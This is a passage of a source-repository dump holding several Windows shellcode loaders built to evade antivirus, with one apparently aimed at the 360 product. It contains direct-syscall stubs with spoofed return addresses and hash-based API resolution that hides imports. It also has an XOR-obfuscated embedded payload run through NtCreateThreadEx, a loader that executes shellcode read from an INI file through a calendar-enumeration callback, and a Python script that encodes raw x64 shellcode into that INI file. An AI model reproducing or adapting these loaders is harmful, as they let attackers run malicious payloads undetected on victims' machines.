SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 172 | 173 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 174 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 175 | } 176 | 177 | if (!ExportDirectory) return FALSE; 178 | 179 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 180 | PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 181 | PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 182 | PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 183 | 184 | // Populate SW3_SyscallList with unsorted Zw* entries. 185 | DWORD i = 0; 186 | PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; 187 | do 188 | { 189 | PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 190 | 191 | // Is this a system call? 192 | if (*(USHORT*)FunctionName == 0x775a) 193 | { 194 | Entries[i].Hash = SW3_HashSyscall(FunctionName); 195 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 196 | Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); 197 | 198 | i++; 199 | if (i == SW3_MAX_ENTRIES) break; 200 | } 201 | } while (--NumberOfNames); 202 | 203 | // Save total number of system calls found. 204 | SW3_SyscallList.Count = i; 205 | 206 | // Sort the list by address in ascending order. 207 | for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) 208 | { 209 | for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) 210 | { 211 | if (Entries[j].Address > Entries[j + 1].Address) 212 | { 213 | // Swap entries. 214 | SW3_SYSCALL_ENTRY TempEntry; 215 | 216 | TempEntry.Hash = Entries[j].Hash; 217 | TempEntry.Address = Entries[j].Address; 218 | TempEntry.SyscallAddress = Entries[j].SyscallAddress; 219 | 220 | Entries[j].Hash = Entries[j + 1].Hash; 221 | Entries[j].Address = Entries[j + 1].Address; 222 | Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; 223 | 224 | Entries[j + 1].Hash = TempEntry.Hash; 225 | Entries[j + 1].Address = TempEntry.Address; 226 | Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; 227 | } 228 | } 229 | } 230 | 231 | return TRUE; 232 | } 233 | 234 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 235 | { 236 | // Ensure SW3_SyscallList is populated. 237 | if (!SW3_PopulateSyscallList()) return -1; 238 | 239 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 240 | { 241 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 242 | { 243 | return i; 244 | } 245 | } 246 | 247 | return -1; 248 | } 249 | 250 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 251 | { 252 | // Ensure SW3_SyscallList is populated. 253 | if (!SW3_PopulateSyscallList()) return NULL; 254 | 255 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 256 | { 257 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 258 | { 259 | return SW3_SyscallList.Entries[i].SyscallAddress; 260 | } 261 | } 262 | 263 | return NULL; 264 | } 265 | 266 | EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) 267 | { 268 | // Ensure SW3_SyscallList is populated. 269 | if (!SW3_PopulateSyscallList()) return NULL; 270 | 271 | DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; 272 | 273 | while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ 274 | // Spoofing the syscall return address 275 | index = ((DWORD) rand()) % SW3_SyscallList.Count; 276 | } 277 | return SW3_SyscallList.Entries[index].SyscallAddress; 278 | } 279 | -------------------------------------------------------------------------------- /SysWhisper/syscall.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW3_HEADER_H_ 7 | #define SW3_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW3_SEED 0xCA0B8C6E 12 | #define SW3_ROL8(v) (v << 8 | v >> 24) 13 | #define SW3_ROR8(v) (v >> 8 | v << 24) 14 | #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) 15 | #define SW3_MAX_ENTRIES 500 16 | #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW3_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | PVOID SyscallAddress; 25 | } SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; 26 | 27 | typedef struct _SW3_SYSCALL_LIST 28 | { 29 | DWORD Count; 30 | SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; 31 | } SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; 32 | 33 | typedef struct _SW3_PEB_LDR_DATA { 34 | BYTE Reserved1[8]; 35 | PVOID Reserved2[3]; 36 | LIST_ENTRY InMemoryOrderModuleList; 37 | } SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; 38 | 39 | typedef struct _SW3_LDR_DATA_TABLE_ENTRY { 40 | PVOID Reserved1[2]; 41 | LIST_ENTRY InMemoryOrderLinks; 42 | PVOID Reserved2[2]; 43 | PVOID DllBase; 44 | } SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; 45 | 46 | typedef struct _SW3_PEB { 47 | BYTE Reserved1[2]; 48 | BYTE BeingDebugged; 49 | BYTE Reserved2[1]; 50 | PVOID Reserved3[2]; 51 | PSW3_PEB_LDR_DATA Ldr; 52 | } SW3_PEB, *PSW3_PEB; 53 | 54 | DWORD SW3_HashSyscall(PCSTR FunctionName); 55 | BOOL SW3_PopulateSyscallList(); 56 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); 57 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); 58 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); 59 | typedef struct _PS_ATTRIBUTE 60 | { 61 | ULONG Attribute; 62 | SIZE_T Size; 63 | union 64 | { 65 | ULONG Value; 66 | PVOID ValuePtr; 67 | } u1; 68 | PSIZE_T ReturnLength; 69 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE; 70 | 71 | #ifndef InitializeObjectAttributes 72 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 73 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 74 | (p)->RootDirectory = r; \ 75 | (p)->Attributes = a; \ 76 | (p)->ObjectName = n; \ 77 | (p)->SecurityDescriptor = s; \ 78 | (p)->SecurityQualityOfService = NULL; \ 79 | } 80 | #endif 81 | 82 | typedef struct _UNICODE_STRING 83 | { 84 | USHORT Length; 85 | USHORT MaximumLength; 86 | PWSTR Buffer; 87 | } UNICODE_STRING, *PUNICODE_STRING; 88 | 89 | typedef struct _OBJECT_ATTRIBUTES 90 | { 91 | ULONG Length; 92 | HANDLE RootDirectory; 93 | PUNICODE_STRING ObjectName; 94 | ULONG Attributes; 95 | PVOID SecurityDescriptor; 96 | PVOID SecurityQualityOfService; 97 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 98 | 99 | typedef enum _WAIT_TYPE 100 | { 101 | WaitAll = 0, 102 | WaitAny = 1 103 | } WAIT_TYPE, *PWAIT_TYPE; 104 | 105 | typedef struct _PS_ATTRIBUTE_LIST 106 | { 107 | SIZE_T TotalLength; 108 | PS_ATTRIBUTE Attributes[1]; 109 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; 110 | 111 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 112 | IN HANDLE ProcessHandle, 113 | IN OUT PVOID * BaseAddress, 114 | IN ULONG ZeroBits, 115 | IN OUT PSIZE_T RegionSize, 116 | IN ULONG AllocationType, 117 | IN ULONG Protect); 118 | 119 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 120 | IN HANDLE ProcessHandle, 121 | IN OUT PVOID * BaseAddress, 122 | IN OUT PSIZE_T RegionSize, 123 | IN ULONG NewProtect, 124 | OUT PULONG OldProtect); 125 | 126 | EXTERN_C NTSTATUS NtCreateThreadEx( 127 | OUT PHANDLE ThreadHandle, 128 | IN ACCESS_MASK DesiredAccess, 129 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 130 | IN HANDLE ProcessHandle, 131 | IN PVOID StartRoutine, 132 | IN PVOID Argument OPTIONAL, 133 | IN ULONG CreateFlags, 134 | IN SIZE_T ZeroBits, 135 | IN SIZE_T StackSize, 136 | IN SIZE_T MaximumStackSize, 137 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); 138 | 139 | EXTERN_C NTSTATUS NtWaitForMultipleObjects( 140 | IN ULONG Count, 141 | IN PHANDLE Handles, 142 | IN WAIT_TYPE WaitType, 143 | IN BOOLEAN Alertable, 144 | IN PLARGE_INTEGER Timeout OPTIONAL); 145 | 146 | EXTERN_C NTSTATUS NtFreeVirtualMemory( 147 | IN HANDLE ProcessHandle, 148 | IN OUT PVOID * BaseAddress, 149 | IN OUT PSIZE_T RegionSize, 150 | IN ULONG FreeType); 151 | 152 | #endif 153 | -------------------------------------------------------------------------------- /SysWhisper/test.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include 4 | #include "syscall.h" 5 | #include 6 | #include 7 | 8 | 9 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { 10 | char* d = (char*)(dest); 11 | char* s = (char*)(src); 12 | if (d < s) 13 | while (len--) 14 | *d++ = *s++; 15 | else { 16 | char* lasts = s + (len - 1); 17 | char* lastd = d + (len - 1); 18 | while (len--) 19 | *lastd-- = *lasts--; 20 | } 21 | return dest; 22 | } 23 | 24 | int main() { 25 | 26 | std::vector xored_input = { 27 | 0xbe,0x0a,0xc1,0xa6,0xb2,0xaa,0x82,0x42,0x42,0x42,0x03,0x13,0x03,0x12,0x10,0x13,0x14,0x0a,0x73,0x90,0x27,0x0a,0xc9,0x10,0x22,0x0a,0xc9,0x10,0x5a,0x0a,0xc9,0x10,0x62,0x0a,0xc9,0x30,0x12,0x0a,0x4d,0xf5,0x08,0x08,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x7e,0x23,0x3e,0x40,0x6e,0x62,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0xa0,0xaf,0x10,0x03,0x13,0x0a,0xc9,0x10,0x62,0xc9,0x00,0x7e,0x0a,0x43,0x92,0xc9,0xc2,0xca,0x42,0x42,0x42,0x0a,0xc7,0x82,0x36,0x25,0x0a,0x43,0x92,0x12,0xc9,0x0a,0x5a,0x06,0xc9,0x02,0x62,0x0b,0x43,0x92,0xa1,0x14,0x0a,0xbd,0x8b,0x03,0xc9,0x76,0xca,0x0a,0x43,0x94,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0x7a,0xa2,0x37,0xb3,0x0e,0x41,0x0e,0x66,0x4a,0x07,0x7b,0x93,0x37,0x9a,0x1a,0x06,0xc9,0x02,0x66,0x0b,0x43,0x92,0x24,0x03,0xc9,0x4e,0x0a,0x06,0xc9,0x02,0x5e,0x0b,0x43,0x92,0x03,0xc9,0x46,0xca,0x0a,0x43,0x92,0x03,0x1a,0x03,0x1a,0x1c,0x1b,0x18,0x03,0x1a,0x03,0x1b,0x03,0x18,0x0a,0xc1,0xae,0x62,0x03,0x10,0xbd,0xa2,0x1a,0x03,0x1b,0x18,0x0a,0xc9,0x50,0xab,0x15,0xbd,0xbd,0xbd,0x1f,0x0a,0xf8,0x43,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x0a,0xcf,0xcf,0x43,0x43,0x42,0x42,0x03,0xf8,0x73,0xc9,0x2d,0xc5,0xbd,0x97,0xf9,0xb2,0xf7,0xe0,0x14,0x03,0xf8,0xe4,0xd7,0xff,0xdf,0xbd,0x97,0x0a,0xc1,0x86,0x6a,0x7e,0x44,0x3e,0x48,0xc2,0xb9,0xa2,0x37,0x47,0xf9,0x05,0x51,0x30,0x2d,0x28,0x42,0x1b,0x03,0xcb,0x98,0xbd,0x97,0x21,0x23,0x2e,0x21,0x6c,0x27,0x3a,0x27,0x42,0xbc,0xbd 28 | }; 29 | 30 | unsigned char end_byte = xored_input.back(); 31 | xored_input.pop_back(); 32 | 33 | std::vector not_input_2; 34 | for (auto b : xored_input) { 35 | not_input_2.push_back(b ^ end_byte); 36 | } 37 | 38 | std::vector output; 39 | for (auto b : not_input_2) { 40 | output.push_back(~b); 41 | } 42 | output.pop_back(); 43 | unsigned char* my_payload = new unsigned char[output.size() + 1]; 44 | std::copy(output.begin(), output.end(), my_payload); 45 | my_payload[output.size()] = '\0'; 46 | if (output.back() == 0x00) { 47 | my_payload[output.size()] = '\0'; 48 | } 49 | for (size_t i = 0; i < output.size(); ++i) { 50 | std::cout << std::hex << (int)my_payload[i] << " "; 51 | } 52 | 53 | PVOID lpAddress = NULL; 54 | SIZE_T sDataSize = output.size(); 55 | NtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 56 | 57 | VxMoveMemory(lpAddress, my_payload, sDataSize); 58 | 59 | ULONG ulOldProtect = 0; 60 | NtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 61 | 62 | HANDLE hHostThread = INVALID_HANDLE_VALUE; 63 | NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 64 | NtWaitForMultipleObjects(1, &hHostThread, WaitAll, FALSE, NULL); 65 | 66 | NtFreeVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, MEM_RELEASE); 67 | 68 | return 0; 69 | } 70 | 71 | -------------------------------------------------------------------------------- /Use-After-Free/README.md: -------------------------------------------------------------------------------- 1 | 原项目:https://github.com/wz-wsl/360-bypass 2 | 3 | 稍作修改,以kernel32.dll的基地址搜索GetProcAddress和GetModuleHandle,以隐匿这俩api的静态特征 4 | 5 | ![image-20230416202020575](https://s2.loli.net/2023/04/16/CWbNBUf6TxhJ97a.png) -------------------------------------------------------------------------------- /Use-After-Free/ShellcodeLoader.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_DEPRECATE 2 | #include 3 | #include 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | typedef struct _UNICODE_STRING { 9 | USHORT Length; 10 | USHORT MaximumLength; 11 | PWSTR Buffer; 12 | } UNICODE_STRING; 13 | 14 | struct LDR_MODULE { 15 | LIST_ENTRY e[3]; 16 | HMODULE base; 17 | void* entry; 18 | UINT size; 19 | UNICODE_STRING dllPath; 20 | UNICODE_STRING dllname; 21 | }; 22 | 23 | typedef HMODULE(WINAPI* fnGetModuleHandleA)( 24 | LPCSTR lpModuleName 25 | ); 26 | 27 | typedef FARPROC(WINAPI* fnGetProcAddress)( 28 | HMODULE hModule, 29 | LPCSTR lpProcName 30 | ); 31 | 32 | typedef BOOL(WINAPI* EnumInfo)( 33 | CALINFO_ENUMPROCA proc, 34 | LCID Eocale, 35 | CALID Calender, 36 | CALTYPE Type 37 | ); 38 | 39 | typedef BOOL(WINAPI* Exchange_)( 40 | LPVOID lpAddress, 41 | SIZE_T DWsIZE, 42 | DWORD New, 43 | PDWORD Old 44 | ); 45 | 46 | typedef FARPROC(WINAPI* GetFuncAddr_)( 47 | HMODULE hmod, 48 | LPCSTR lpName 49 | ); 50 | 51 | 52 | typedef UINT(WINAPI* GetfileInt)( 53 | LPCSTR LPAPPNAME, 54 | LPCSTR KEYNAME, 55 | INT DEFINE, 56 | LPCSTR FILENAME 57 | ); 58 | 59 | DWORD calcMyHash(char* data) { 60 | DWORD hash = 0x35; 61 | for (int i = 0; i < strlen(data); i++) { 62 | hash += data[i] + (hash << 1); 63 | } 64 | return hash; 65 | } 66 | 67 | static DWORD calcMyHashBase(LDR_MODULE* mdll) { 68 | char name[64]; 69 | size_t i = 0; 70 | 71 | while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) { 72 | name[i] = (char)mdll->dllname.Buffer[i]; 73 | i++; 74 | } 75 | name[i] = 0; 76 | return calcMyHash((char*)CharLowerA(name)); 77 | } 78 | 79 | static HMODULE getKernel32(DWORD myHash) { 80 | HMODULE kernel32; 81 | 82 | INT_PTR peb = __readgsqword(0x60); 83 | 84 | auto modList = 0x18; 85 | auto modListFlink = 0x18; 86 | auto kernelBaseAddr = 0x10; 87 | 88 | auto mdllist = *(INT_PTR*)(peb + modList); 89 | 90 | auto mlink = *(INT_PTR*)(mdllist + modListFlink); 91 | 92 | auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr); 93 | 94 | auto mdl = (LDR_MODULE*)mlink; 95 | 96 | do { 97 | mdl = (LDR_MODULE*)mdl->e[0].Flink; 98 | if (mdl->base != nullptr) { 99 | if (calcMyHashBase(mdl) == myHash) { 100 | break; 101 | } 102 | } 103 | } while (mlink != (INT_PTR)mdl); 104 | 105 | kernel32 = (HMODULE)mdl->base; 106 | return kernel32; 107 | } 108 | 109 | static LPVOID getAPIAddr(HMODULE h, DWORD myHash) { 110 | PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h; 111 | PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew); 112 | PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)( 113 | (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 114 | PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions); 115 | PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames); 116 | PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals); 117 | 118 | for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) { 119 | LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]); 120 | 121 | if (calcMyHash(pFuncName) == myHash) { 122 | printf("successfully found! %s - %d\n", pFuncName, myHash); 123 | return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]); 124 | } 125 | } 126 | return nullptr; 127 | } 128 | 129 | HMODULE mod = getKernel32(56369259); 130 | fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516); 131 | fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681); 132 | 133 | HMODULE hk32 = myGetModuleHandleA("kernel32.dll"); 134 | 135 | GetfileInt GetFileIntA = (GetfileInt)myGetProcAddress( 136 | hk32,"GetPrivateProfileIntA" 137 | ); 138 | Exchange_ exchange_ = (Exchange_)myGetProcAddress( 139 | hk32,"VirtualProtect" 140 | ); 141 | 142 | EnumInfo EnumInfoA = (EnumInfo)myGetProcAddress( 143 | hk32,"EnumCalendarInfoA" 144 | ); 145 | 146 | void decode() { 147 | char buf[3000]; 148 | unsigned int bt[3000]; 149 | CHAR PATH[MAX_PATH]; 150 | GetCurrentDirectoryA( 151 | MAX_PATH, PATH 152 | ); 153 | cout << PATH; 154 | strcat(PATH, "\\sc.ini"); 155 | cout << PATH; 156 | for (int i = 0; i < 3000; i++) { 157 | _itoa_s(i, buf, 10); 158 | UINT k = GetFileIntA( 159 | "key", 160 | buf, NULL, PATH 161 | ); 162 | bt[i] = k; 163 | } 164 | cout << endl; 165 | unsigned char* a = (unsigned char*)malloc(sizeof(bt)); 166 | free(a); 167 | unsigned char* b = (unsigned char*)malloc(sizeof(bt)); 168 | for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) { 169 | b[i] = (unsigned char)(bt[i] ^ 1024); 170 | } 171 | for (size_t i = 0; i < (sizeof(bt) / sizeof(bt[0])); ++i) { 172 | std::cout << std::hex << (int)b[i] << " "; 173 | } 174 | DWORD p; 175 | exchange_( 176 | a, sizeof(a), 0x40, &p 177 | ); 178 | EnumInfoA( 179 | (CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE 180 | ); 181 | } 182 | 183 | int main() { 184 | 185 | decode(); 186 | 187 | return 0; 188 | } 189 | -------------------------------------------------------------------------------- /Use-After-Free/generate_file.py: -------------------------------------------------------------------------------- 1 | shellcode_=b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" #shellcode放在这里 2 | shellcode=[] 3 | for i in shellcode_: 4 | shellcode.append(str(i^1024)) 5 | shellcode=",".join(shellcode).split(",") 6 | file=open("sc.ini","w") 7 | file.write("[key]\n") 8 | n=0 9 | for i in shellcode: 10 | file.write(f"{n}={i}\n") 11 | n+=1 12 | file.close() 13 | -------------------------------------------------------------------------------- /Use-After-Free/sc.ini: -------------------------------------------------------------------------------- 1 | [key] 2 | 0=1276 3 | 1=1096 4 | 2=1155 5 | 3=1252 6 | 4=1264 7 | 5=1256 8 | 6=1216 9 | 7=1024 10 | 8=1024 11 | 9=1024 12 | 10=1089 13 | 11=1105 14 | 12=1089 15 | 13=1104 16 | 14=1106 17 | 15=1105 18 | 16=1110 19 | 17=1096 20 | 18=1073 21 | 19=1234 22 | 20=1125 23 | 21=1096 24 | 22=1163 25 | 23=1106 26 | 24=1120 27 | 25=1096 28 | 26=1163 29 | 27=1106 30 | 28=1048 31 | 29=1096 32 | 30=1163 33 | 31=1106 34 | 32=1056 35 | 33=1096 36 | 34=1163 37 | 35=1138 38 | 36=1104 39 | 37=1096 40 | 38=1039 41 | 39=1207 42 | 40=1098 43 | 41=1098 44 | 42=1101 45 | 43=1073 46 | 44=1225 47 | 45=1096 48 | 46=1073 49 | 47=1216 50 | 48=1196 51 | 49=1084 52 | 50=1121 53 | 51=1148 54 | 52=1026 55 | 53=1068 56 | 54=1056 57 | 55=1089 58 | 56=1217 59 | 57=1225 60 | 58=1037 61 | 59=1089 62 | 60=1025 63 | 61=1217 64 | 62=1250 65 | 63=1261 66 | 64=1106 67 | 65=1089 68 | 66=1105 69 | 67=1096 70 | 68=1163 71 | 69=1106 72 | 70=1056 73 | 71=1163 74 | 72=1090 75 | 73=1084 76 | 74=1096 77 | 75=1025 78 | 76=1232 79 | 77=1163 80 | 78=1152 81 | 79=1160 82 | 80=1024 83 | 81=1024 84 | 82=1024 85 | 83=1096 86 | 84=1157 87 | 85=1216 88 | 86=1140 89 | 87=1127 90 | 88=1096 91 | 89=1025 92 | 90=1232 93 | 91=1104 94 | 92=1163 95 | 93=1096 96 | 94=1048 97 | 95=1092 98 | 96=1163 99 | 97=1088 100 | 98=1056 101 | 99=1097 102 | 100=1025 103 | 101=1232 104 | 102=1251 105 | 103=1110 106 | 104=1096 107 | 105=1279 108 | 106=1225 109 | 107=1089 110 | 108=1163 111 | 109=1076 112 | 110=1160 113 | 111=1096 114 | 112=1025 115 | 113=1238 116 | 114=1101 117 | 115=1073 118 | 116=1225 119 | 117=1096 120 | 118=1073 121 | 119=1216 122 | 120=1196 123 | 121=1089 124 | 122=1217 125 | 123=1225 126 | 124=1037 127 | 125=1089 128 | 126=1025 129 | 127=1217 130 | 128=1080 131 | 129=1248 132 | 130=1141 133 | 131=1265 134 | 132=1100 135 | 133=1027 136 | 134=1100 137 | 135=1060 138 | 136=1032 139 | 137=1093 140 | 138=1081 141 | 139=1233 142 | 140=1141 143 | 141=1240 144 | 142=1112 145 | 143=1092 146 | 144=1163 147 | 145=1088 148 | 146=1060 149 | 147=1097 150 | 148=1025 151 | 149=1232 152 | 150=1126 153 | 151=1089 154 | 152=1163 155 | 153=1036 156 | 154=1096 157 | 155=1092 158 | 156=1163 159 | 157=1088 160 | 158=1052 161 | 159=1097 162 | 160=1025 163 | 161=1232 164 | 162=1089 165 | 163=1163 166 | 164=1028 167 | 165=1160 168 | 166=1096 169 | 167=1025 170 | 168=1232 171 | 169=1089 172 | 170=1112 173 | 171=1089 174 | 172=1112 175 | 173=1118 176 | 174=1113 177 | 175=1114 178 | 176=1089 179 | 177=1112 180 | 178=1089 181 | 179=1113 182 | 180=1089 183 | 181=1114 184 | 182=1096 185 | 183=1155 186 | 184=1260 187 | 185=1056 188 | 186=1089 189 | 187=1106 190 | 188=1279 191 | 189=1248 192 | 190=1112 193 | 191=1089 194 | 192=1113 195 | 193=1114 196 | 194=1096 197 | 195=1163 198 | 196=1042 199 | 197=1257 200 | 198=1111 201 | 199=1279 202 | 200=1279 203 | 201=1279 204 | 202=1117 205 | 203=1096 206 | 204=1210 207 | 205=1025 208 | 206=1024 209 | 207=1024 210 | 208=1024 211 | 209=1024 212 | 210=1024 213 | 211=1024 214 | 212=1024 215 | 213=1096 216 | 214=1165 217 | 215=1165 218 | 216=1025 219 | 217=1025 220 | 218=1024 221 | 219=1024 222 | 220=1089 223 | 221=1210 224 | 222=1073 225 | 223=1163 226 | 224=1135 227 | 225=1159 228 | 226=1279 229 | 227=1237 230 | 228=1211 231 | 229=1264 232 | 230=1205 233 | 231=1186 234 | 232=1110 235 | 233=1089 236 | 234=1210 237 | 235=1190 238 | 236=1173 239 | 237=1213 240 | 238=1181 241 | 239=1279 242 | 240=1237 243 | 241=1096 244 | 242=1155 245 | 243=1220 246 | 244=1064 247 | 245=1084 248 | 246=1030 249 | 247=1148 250 | 248=1034 251 | 249=1152 252 | 250=1275 253 | 251=1248 254 | 252=1141 255 | 253=1029 256 | 254=1211 257 | 255=1095 258 | 256=1043 259 | 257=1138 260 | 258=1135 261 | 259=1130 262 | 260=1024 263 | 261=1113 264 | 262=1089 265 | 263=1161 266 | 264=1242 267 | 265=1279 268 | 266=1237 269 | 267=1123 270 | 268=1121 271 | 269=1132 272 | 270=1123 273 | 271=1070 274 | 272=1125 275 | 273=1144 276 | 274=1125 277 | 275=1024 278 | -------------------------------------------------------------------------------- /baseAddressToCallDll/BaseAddressToCallDll.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct _UNICODE_STRING { 5 | USHORT Length; 6 | USHORT MaximumLength; 7 | PWSTR Buffer; 8 | } UNICODE_STRING; 9 | 10 | struct LDR_MODULE { 11 | LIST_ENTRY e[3]; 12 | HMODULE base; 13 | void* entry; 14 | UINT size; 15 | UNICODE_STRING dllPath; 16 | UNICODE_STRING dllname; 17 | }; 18 | 19 | typedef HMODULE(WINAPI* fnGetModuleHandleA)( 20 | LPCSTR lpModuleName 21 | ); 22 | 23 | typedef FARPROC(WINAPI* fnGetProcAddress)( 24 | HMODULE hModule, 25 | LPCSTR lpProcName 26 | ); 27 | 28 | typedef PVOID(WINAPI* fnVirtualAlloc)( 29 | LPVOID lpAddress, 30 | SIZE_T dwSize, 31 | DWORD flAllocationType, 32 | DWORD flProtect 33 | ); 34 | 35 | typedef PVOID(WINAPI* fnCreateThread)( 36 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 37 | SIZE_T dwStackSize, 38 | LPTHREAD_START_ROUTINE lpStartAddress, 39 | LPVOID lpParameter, 40 | DWORD dwCreationFlags, 41 | LPDWORD lpThreadId 42 | ); 43 | 44 | typedef PVOID(WINAPI* fnWaitForSingleObject)( 45 | HANDLE hHandle, 46 | DWORD dwMilliseconds 47 | ); 48 | 49 | DWORD calcMyHash(char* data) { 50 | DWORD hash = 0x35; 51 | for (int i = 0; i < strlen(data); 